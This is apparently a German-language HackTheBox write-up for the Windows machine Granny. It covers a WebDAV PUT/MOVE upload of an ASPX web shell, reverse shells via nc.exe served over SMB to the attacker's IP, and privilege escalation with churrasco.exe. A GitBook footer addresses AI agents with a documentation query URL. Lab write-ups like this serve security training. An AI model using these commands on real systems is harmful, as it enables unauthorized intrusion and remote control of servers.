> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md). # Granny HackTheBox Writeup Writeup zur HackTheBox-Easy-Windows-Maschine Granny mit Abdeckung von Missbrauch der PUT- & MOVE-Methoden - Hochladen einer Aspx-WebShell, Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE), Token Kidn {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Ausnutzen der PUT- und MOVE-Methoden - Hochladen einer Aspx-WebShell * Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE) * Token Kidnapping - Churrasco (Privilegieneskalation) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts ```

**Port-Version-Scan mit Nmap:** Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80 10.10.10.15 -oN targeted ```

### Port 80 - HTTP

## WebDAV-Schwachstelle Port 80 ist offen, und der Server unterstützt WebDAV. Dies ermöglicht uns potenziell, Dateien über die PUT-Methode hochzuladen und sie mit MOVE umzubenennen.

Erstelle eine Testdatei: ```bash echo "this is a test" > test.txt ``` Verbinde dich mit dem Server mit dem **cadaver** Tool: ```bash cadaver 10.10.10.15 ``` Versuche, die Datei mit dem PUT-Befehl hochzuladen:

* Ergebnis: Erfolg.

### **WebShell-Upload** Kopiere eine bereits vorhandene WebShell-ASPX: ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` Versuche, sie direkt hochzuladen: ```powershell put aspx_cmd.aspx ``` Ergebnis: Fehlgeschlagen (der Server blockiert Dateien mit der .aspx-Erweiterung).

Ändere die Erweiterung in **.txt**: ```bash mv aspx_cmd.aspx cmd.txt ``` Versuche den Upload erneut: ```powershell PUT cmd.txt ``` * Ergebnis: Erfolg.

#### Benenne die Datei mit MOVE um, um die Erweiterung wiederherzustellen: ```powershell move cmd.txt cmd.aspx ```

Greife über den Browser auf die WebShell zu:

### **Reverse Shell über die WebShell:** Lege ein Netcat-Programm im aktuellen Verzeichnis ab: ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Starte einen SMB-Server, um die Datei freizugeben: ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Horche auf deinem Rechner auf Port 443: ```bash sudo rlwrap nc -nvlp 443 ``` Führe den Reverse-Shell-Befehl aus der WebShell aus: ```bash //10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443 ```

## **Privilegieneskalation :** ### Kernel-Exploitation - Windows Server 2003 Unter Verwendung der `systeminfo` Befehl finden wir heraus, dass das System sehr alt ist (Windows Server 2003): ```bash systeminfo ```

Wir haben außerdem das `SeImpersonatePrivilege` Privileg, das es uns ermöglicht, zu versuchen, Rechte zu erhöhen.

Um diese Einschränkung zu umgehen, verwenden wir das **churrasco.exe** Tool. {% embed url="" %} /*/* Windows-Dateiübertragung (SMB)/*/* > Wir verwenden **smbserver.py** um ein Verzeichnis mit der Exploit-Datei 40627.exe freizugeben. Diese Datei wird dann auf das Zielsystem kopiert. ```bash smbserver.py share $(pwd) -smb2support ``` Auf dem Zielsystem haben wir die schädliche Datei mit dem SMB-Befehl kopiert: ```bash copy //10.10.14.30/share/churrasco.exe churrasco.exe ``` Anschließend können wir mit dieser Binärdatei jeden beliebigen Befehl ausführen, zum Beispiel: ```powershell ./churrasco.exe "whoami" ```

**Reverse Shell herstellen** Um eine Reverse Shell herzustellen, lauschen wir auf Port 443: ```bash sudo rlwrap nc -nvlp 443 ``` Wir erstellen einen SMB-Server neu mit **nc.exe**: ```bash smbserver.py share $(pwd) -smb2support ``` Schließlich führen wir die Reverse Shell mit dem folgenden Befehl aus: ```bash ./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443" ```

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.